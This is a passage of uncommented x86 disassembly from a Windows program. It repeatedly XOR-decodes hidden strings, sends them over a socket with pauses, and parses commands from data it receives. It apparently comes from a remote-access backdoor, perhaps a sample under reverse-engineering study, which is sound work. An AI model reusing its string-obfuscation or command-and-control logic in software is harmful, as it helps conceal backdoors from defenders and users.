lea ecx, [ebp - 0x9a4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x11c]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0x9a4]
call fcn.004034a0
lea ecx, [ebp - 0x9bc]
call fcn.004034a0
lea ecx, [ebp - 0x9d4]
call fcn.004034a0
mov byte [ebp - 0xa9], 0
lea eax, [ebp - 0x700]
push eax
lea ecx, [ebp - 0xa9]
call fcn.00411a90
mov edi, eax
cmp byte [edi + 5], 0
je 0x40cd86
xor ecx, ecx
mov dword [ebp - 0x1ac], ecx
cmp ecx, 6
jge 0x40cd86
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1ac]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40cd50
push 0x445d90
lea eax, [ebp - 0x800]
push eax
push edi
lea ecx, [ebp - 0xa04]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x9ec]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x168]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0x9ec]
call fcn.004034a0
lea ecx, [ebp - 0xa04]
call fcn.004034a0
mov byte [ebp - 0xb6], 0
mov byte [ebp - 0xb7], 0
lea eax, [ebp - 0x7e7]
push eax
lea ecx, [ebp - 0xb6]
call fcn.00411ad0
mov esi, eax
mov dword [ebp - 0x30], esi
cmp byte [esi + 6], 0
je 0x40ce3f
xor ecx, ecx
mov dword [ebp - 0x1b0], ecx
cmp ecx, 7
jge 0x40ce3f
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1b0]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1b0], ecx
mov esi, dword [ebp - 0x30]
jmp 0x40ce07
lea eax, [ebp - 0x706]
push eax
lea ecx, [ebp - 0xb7]
call fcn.00411ab0
mov edi, eax
cmp byte [edi + 5], 0
je 0x40ce94
xor ecx, ecx
mov dword [ebp - 0x1b4], ecx
cmp ecx, 6
jge 0x40ce91
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1b4]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40ce5b
mov esi, dword [ebp - 0x30]
push 0x445d90
lea eax, [ebp - 0x800]
push eax
push esi
lea ecx, [ebp - 0xa94]
call fcn.00403540
push eax
push 0x44aaf0
lea ecx, [ebp - 0xa7c]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0xa64]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0xa4c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xa34]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xa1c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x3a4]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0xa1c]
call fcn.004034a0
lea ecx, [ebp - 0xa34]
call fcn.004034a0
lea ecx, [ebp - 0xa4c]
call fcn.004034a0
lea ecx, [ebp - 0xa64]
call fcn.004034a0
lea ecx, [ebp - 0xa7c]
call fcn.004034a0
lea ecx, [ebp - 0xa94]
call fcn.004034a0
mov byte [ebp - 0xc1], 0
lea eax, [ebp - 0x70c]
push eax
lea ecx, [ebp - 0xc1]
call fcn.00411b00
mov edi, eax
cmp byte [edi + 5], 0
je 0x40cfa5
xor ecx, ecx
mov dword [ebp - 0x1b8], ecx
cmp ecx, 6
jge 0x40cfa5
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1b8]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40cf6f
push 0x445d90
push 0x44ab08
lea ecx, [ebp - 0xadc]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0xac4]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0xaac]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x420]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0xaac]
call fcn.004034a0
lea ecx, [ebp - 0xac4]
call fcn.004034a0
lea ecx, [ebp - 0xadc]
call fcn.004034a0
mov byte [ebp - 0xc2], 0
mov byte [ebp - 0xc3], 0
mov byte [ebp - 0xc5], 0
lea eax, [ebp - 0x1e3d]
push eax
lea ecx, [ebp - 0xc2]
call fcn.00411b60
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x17], 0
je 0x40d079
xor ecx, ecx
mov dword [ebp - 0x1bc], ecx
cmp ecx, 0x18
jge 0x40d079
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1bc]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1bc], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40d040
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0xc3]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x30], esi
cmp byte [esi + 2], 0
je 0x40d0d8
xor ecx, ecx
mov dword [ebp - 0x1c0], ecx
nop
cmp ecx, 3
jge 0x40d0d8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1c0]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1c0], ecx
mov esi, dword [ebp - 0x30]
jmp 0x40d0a0
lea eax, [ebp - 0x809]
push eax
lea ecx, [ebp - 0xc5]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40d12d
xor ecx, ecx
mov dword [ebp - 0x1c4], ecx
cmp ecx, 9
jge 0x40d12a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1c4]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40d0f4
mov esi, dword [ebp - 0x30]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xb84]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0xb6c]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0xb54]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0xb3c]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0xb24]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xb0c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xaf4]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x400]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0xaf4]
call fcn.004034a0
lea ecx, [ebp - 0xb0c]
call fcn.004034a0
lea ecx, [ebp - 0xb24]
call fcn.004034a0
lea ecx, [ebp - 0xb3c]
call fcn.004034a0
lea ecx, [ebp - 0xb54]
call fcn.004034a0
lea ecx, [ebp - 0xb6c]
call fcn.004034a0
lea ecx, [ebp - 0xb84]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x11c]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x11c]
call fcn.00403420
mov edx, eax
mov edi, dword [ebp - 0x3c]
mov ecx, edi
call fcn.004096a0
add esp, 8
push 0x5dc
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call esi
push 0
lea ecx, [ebp - 0x168]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x168]
call fcn.00403420
mov edx, eax
mov ecx, edi
call fcn.004096a0
add esp, 8
push 0x5dc
call esi
push 0
lea ecx, [ebp - 0x3a4]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x3a4]
call fcn.00403420
mov edx, eax
mov ecx, edi
call fcn.004096a0
add esp, 8
push 0x5dc
call esi
push 0
lea ecx, [ebp - 0x420]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x420]
call fcn.00403420
mov edx, eax
mov ecx, edi
call fcn.004096a0
add esp, 8
push 0x5dc
call esi
push 0
lea ecx, [ebp - 0x400]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x400]
call fcn.00403420
mov edx, eax
mov ecx, edi
call fcn.004096a0
add esp, 8
push 0x5dc
call esi
nop
push 0x400
push 0
lea eax, [ebp - 0x2838]
push eax
call fcn.0041e930
add esp, 0xc
push 0
push 0x400
lea eax, [ebp - 0x2838]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
je 0x40e265
test esi, esi
je 0x40e265
mov ecx, 0x44aad8
call fcn.00403420
mov edx, eax
lea ecx, [ebp - 0x2838]
call fcn.00408e00
mov dword [ebp - 0x28], eax
mov byte [eax + esi], 0
mov byte [ebp - 0xcd], 0
lea eax, [ebp - 0x6cb]
push eax
lea ecx, [ebp - 0xcd]
call fcn.00411b90
mov edi, eax
cmp byte [edi + 4], 0
je 0x40d395
xor ecx, ecx
mov dword [ebp - 0x1c8], ecx
cmp ecx, 5
jge 0x40d395
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1c8]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40d35f
push edi
lea ecx, [ebp - 0x72c]
call fcn.00403540
mov esi, eax
push 4
push 0
lea eax, [ebp - 0xb9c]
push eax
mov edi, dword [ebp - 0x28]
push edi
lea ecx, [ebp - 0xbb4]
call fcn.00403540
mov ecx, eax
call fcn.00405a60
mov edx, esi
mov ecx, eax
call fcn.004146e0
mov byte [ebp - 0x61], al
lea ecx, [ebp - 0xb9c]
call fcn.004034a0
lea ecx, [ebp - 0xbb4]
call fcn.004034a0
lea ecx, [ebp - 0x72c]
call fcn.004034a0
cmp byte [ebp - 0x61], 0
je 0x40d51d
push edi
lea ecx, [ebp - 0x368]
call fcn.00403540
lea edx, [ebp - 0x368]
lea ecx, [ebp - 0x6a4]
call fcn.004085e0
lea ecx, [ebp - 0x368]
call fcn.004034a0
lea ecx, [ebp - 0x6a4]
call fcn.00403410
test al, al
jne 0x40d50a
mov byte [ebp - 0xce], al
lea eax, [ebp - 0x73]
push eax
lea ecx, [ebp - 0xce]
call fcn.00411bb0
mov edi, eax
cmp byte [edi + 6], 0
je 0x40d48b
xor ecx, ecx
mov dword [ebp - 0x1cc], ecx
cmp ecx, 7
jge 0x40d48b
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1cc]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40d455
push 0x445d90
lea eax, [ebp - 0x6a4]
push eax
push edi
lea ecx, [ebp - 0x44c]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x7b0]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x4e4]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0x7b0]
call fcn.004034a0
lea ecx, [ebp - 0x44c]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x4e4]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x4e4]
call fcn.004034a0
lea ecx, [ebp - 0x6a4]
call fcn.004034a0
mov edi, dword [ebp - 0x3c]
jmp 0x40d2e0
push 0x44aaf0
lea ecx, [ebp - 0x72c]
call fcn.00403580
mov esi, eax
push edi
lea ecx, [ebp - 0x7b0]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x44c]
call fcn.00408720
mov edx, esi
mov ecx, eax
call fcn.00414750
mov byte [ebp - 0x61], al
lea ecx, [ebp - 0x44c]
call fcn.004034a0
lea ecx, [ebp - 0x7b0]
call fcn.004034a0
lea ecx, [ebp - 0x72c]
call fcn.004034a0
cmp byte [ebp - 0x61], 0
je 0x40d583
mov edi, dword [ebp - 0x3c]
jmp 0x40d2e0
push edi
lea ecx, [ebp - 0x44c]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x38c]
call fcn.00408940
lea ecx, [ebp - 0x44c]
call fcn.004034a0
push 0x20
lea edx, [ebp - 0x38c]
lea ecx, [ebp - 0x48]
call fcn.00407e50
add esp, 4
xor edi, edi
mov dword [ebp - 0x374], edi
lea ecx, [ebp - 0x48]
call fcn.00405a00
mov esi, eax
mov dword [ebp - 0x36c], esi
lea ecx, [ebp - 0x48]
call fcn.00411fa0
mov dword [ebp - 0x28], eax
nop dword [eax]
cmp esi, eax
je 0x40d610
push esi
lea ecx, [ebp - 0x44c]
call fcn.00403580
inc edi
mov dword [ebp - 0x374], edi
lea ecx, [ebp - 0x44c]
call fcn.004034a0
add esi, 0x18
mov dword [ebp - 0x36c], esi
mov eax, dword [ebp - 0x28]
jmp 0x40d5e0
mov byte [ebp - 0x9d], 0
lea eax, [ebp - 0x712]
push eax
lea ecx, [ebp - 0x9d]
call fcn.00411be0
mov dword [ebp - 0x28], eax
cmp byte [eax + 5], 0
je 0x40d679
xor ecx, ecx
mov dword [ebp - 0x1d0], ecx
nop word [eax + eax]
cmp ecx, 6
jge 0x40d679
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1d0]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1d0], ecx
mov eax, dword [ebp - 0x28]
jmp 0x40d640
push 0
push eax
lea ecx, [ebp - 0xbe4]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0xbcc]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xbcc]
call fcn.004034a0
lea ecx, [ebp - 0xbe4]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x40d8f0
mov byte [ebp - 0xcf], 0
mov byte [ebp - 0xd0], 0
mov byte [ebp - 0xd1], 0
lea eax, [ebp - 0x1e16]
push eax
lea ecx, [ebp - 0xcf]
call fcn.00411c00
mov dword [ebp - 0x30], eax
cmp byte [eax + 0xd], 0
je 0x40d739
xor ecx, ecx
mov dword [ebp - 0x1d4], ecx
nop
cmp ecx, 0xe
jge 0x40d739
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1d4]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1d4], ecx
mov eax, dword [ebp - 0x30]
jmp 0x40d700
lea eax, [ebp - 0xbd]
push eax
lea ecx, [ebp - 0xd0]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp byte [esi + 2], 0
je 0x40d798
xor ecx, ecx
mov dword [ebp - 0x1d8], ecx
nop
cmp ecx, 3
jge 0x40d798
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1d8]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1d8], ecx
mov esi, dword [ebp - 0x2c]
jmp 0x40d760
lea eax, [ebp - 0x812]
push eax
lea ecx, [ebp - 0xd1]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40d7ed
xor ecx, ecx
mov dword [ebp - 0x1dc], ecx
cmp ecx, 9
jge 0x40d7ea
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1dc]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40d7b4
mov esi, dword [ebp - 0x2c]
push dword [ebp - 0x30]
lea ecx, [ebp - 0xc8c]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0xc74]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0xc5c]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0xc44]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0xc2c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xc14]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xbfc]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x68c]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0xbfc]
call fcn.004034a0
lea ecx, [ebp - 0xc14]
call fcn.004034a0
lea ecx, [ebp - 0xc2c]
call fcn.004034a0
lea ecx, [ebp - 0xc44]
call fcn.004034a0
lea ecx, [ebp - 0xc5c]
call fcn.004034a0
lea ecx, [ebp - 0xc74]
call fcn.004034a0
lea ecx, [ebp - 0xc8c]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x68c]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x68c]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x68c]
call fcn.004034a0
jmp 0x4116fe
mov byte [ebp - 0xd2], 0
lea eax, [ebp - 0x81b]
push eax
lea ecx, [ebp - 0xd2]
call fcn.00411c30
mov dword [ebp - 0x28], eax
cmp byte [eax + 8], 0
je 0x40d959
xor ecx, ecx
mov dword [ebp - 0x1e0], ecx
nop word [eax + eax]
cmp ecx, 9
jge 0x40d959
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1e0]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1e0], ecx
mov eax, dword [ebp - 0x28]
jmp 0x40d920
push 0
push eax
lea ecx, [ebp - 0x780]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0xca4]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xca4]
call fcn.004034a0
lea ecx, [ebp - 0x780]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x40debd
cmp edi, 2
jl 0x40dc9f
mov byte [ebp - 4], 1
cmp edi, 3
jl 0x40d9f6
push 0
lea eax, [ebp - 0x4b8]
push eax
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00412840
cmp eax, 0xffffffff
jne 0x40d9f6
lea ecx, [ebp - 0x48]
call fcn.00405980
lea ecx, [ebp - 0x38c]
call fcn.004034a0
mov byte [ebp - 4], 0
mov edi, dword [ebp - 0x3c]
jmp 0x40d2e0
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
mov edx, eax
lea ecx, [ebp - 0x780]
call fcn.00404fc0
lea ecx, [ebp - 0x780]
call fcn.004034a0
mov byte [ebp - 0x76], 0
mov byte [ebp - 0x77], 0
mov byte [ebp - 0x78], 0
lea eax, [ebp - 0x18a]
push eax
lea ecx, [ebp - 0x76]
call fcn.00411c50
mov dword [ebp - 0x30], eax
cmp byte [eax + 0x11], 0
je 0x40da89
xor ecx, ecx
mov dword [ebp - 0x1e4], ecx
nop dword [eax + eax]
cmp ecx, 0x12
jge 0x40da89
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1e4]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1e4], ecx
mov eax, dword [ebp - 0x30]
jmp 0x40da50
lea eax, [ebp - 0xba]
push eax
lea ecx, [ebp - 0x77]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp byte [esi + 2], 0
je 0x40dae8
xor ecx, ecx
mov dword [ebp - 0x2f4], ecx
nop dword [eax + eax]
cmp ecx, 3
jge 0x40dae8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2f4]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2f4], ecx
mov esi, dword [ebp - 0x2c]
jmp 0x40dab0
lea eax, [ebp - 0x824]
push eax
lea ecx, [ebp - 0x78]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40db3a
xor ecx, ecx
mov dword [ebp - 0x1ec], ecx
cmp ecx, 9
jge 0x40db37
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1ec]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40db01
mov esi, dword [ebp - 0x2c]
push 0x445d94
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0xd7c]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0xd64]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0xd4c]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0xd34]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0xd1c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xd04]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xcec]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xcd4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xcbc]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x674]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0xcbc]
call fcn.004034a0
lea ecx, [ebp - 0xcd4]
call fcn.004034a0
lea ecx, [ebp - 0xcec]
call fcn.004034a0
lea ecx, [ebp - 0xd04]
call fcn.004034a0
lea ecx, [ebp - 0xd1c]
call fcn.004034a0
lea ecx, [ebp - 0xd34]
call fcn.004034a0
lea ecx, [ebp - 0xd4c]
call fcn.004034a0
lea ecx, [ebp - 0xd64]
call fcn.004034a0
lea ecx, [ebp - 0xd7c]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x674]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x674]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x674]
call fcn.004034a0
jmp 0x4116f7
mov byte [ebp - 0x79], 0
mov byte [ebp - 0x7a], 0
mov byte [ebp - 0x7b], 0
lea eax, [ebp - 0x1e72]
push eax
lea ecx, [ebp - 0x79]
call fcn.00411c70
mov dword [ebp - 0x30], eax
cmp byte [eax + 0x1a], 0
je 0x40dd09
xor ecx, ecx
mov dword [ebp - 0x1f0], ecx
nop dword [eax + eax]
cmp ecx, 0x1b
jge 0x40dd09
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1f0]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1f0], ecx
mov eax, dword [ebp - 0x30]
jmp 0x40dcd0
lea eax, [ebp - 0x426]
push eax
lea ecx, [ebp - 0x7a]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp byte [esi + 2], 0
je 0x40dd68
xor ecx, ecx
mov dword [ebp - 0x1f4], ecx
nop dword [eax + eax]
cmp ecx, 3
jge 0x40dd68
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1f4]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1f4], ecx
mov esi, dword [ebp - 0x2c]
jmp 0x40dd30
lea eax, [ebp - 0x82d]
push eax
lea ecx, [ebp - 0x7b]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40ddba
xor ecx, ecx
mov dword [ebp - 0x1f8], ecx
cmp ecx, 9
jge 0x40ddb7
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1f8]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40dd81
mov esi, dword [ebp - 0x2c]
push dword [ebp - 0x30]
lea ecx, [ebp - 0xe24]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0xe0c]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0xdf4]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0xddc]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0xdc4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xdac]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0xd94]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x65c]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0xd94]
call fcn.004034a0
lea ecx, [ebp - 0xdac]
call fcn.004034a0
lea ecx, [ebp - 0xdc4]
call fcn.004034a0
lea ecx, [ebp - 0xddc]
call fcn.004034a0
lea ecx, [ebp - 0xdf4]
call fcn.004034a0
lea ecx, [ebp - 0xe0c]
call fcn.004034a0
lea ecx, [ebp - 0xe24]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x65c]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x65c]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x65c]
call fcn.004034a0
jmp 0x4116fe
mov byte [ebp - 0x7c], 0
lea eax, [ebp - 0x8e5]
push eax
lea ecx, [ebp - 0x7c]
call fcn.00411cb0
mov dword [ebp - 0x28], eax
cmp byte [eax + 9], 0
je 0x40df1a
xor ecx, ecx
mov dword [ebp - 0x1fc], ecx
cmp ecx, 0xa
jge 0x40df1a
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1fc]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1fc], ecx
mov eax, dword [ebp - 0x28]
jmp 0x40dee1
push 0
push eax
lea ecx, [ebp - 0xe54]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0xe3c]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xe3c]
call fcn.004034a0
lea ecx, [ebp - 0xe54]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x40e940
cmp edi, 4
jl 0x40e718
mov byte [ebp - 4], 3
xor ecx, ecx
call fcn.00406390
mov dword [ebp - 0x6c], eax
mov ecx, edx
mov dword [ebp - 0x38], ecx
mov edi, eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x7d], 0
mov byte [ebp - 0x7e], 0
mov byte [ebp - 0x7f], 0
lea eax, [ebp - 0x1f52]
push eax
lea ecx, [ebp - 0x7d]
call fcn.00411ce0
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x1f], 0
je 0x40dfed
xor ecx, ecx
mov dword [ebp - 0x200], ecx
cmp ecx, 0x20
jge 0x40dfed
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
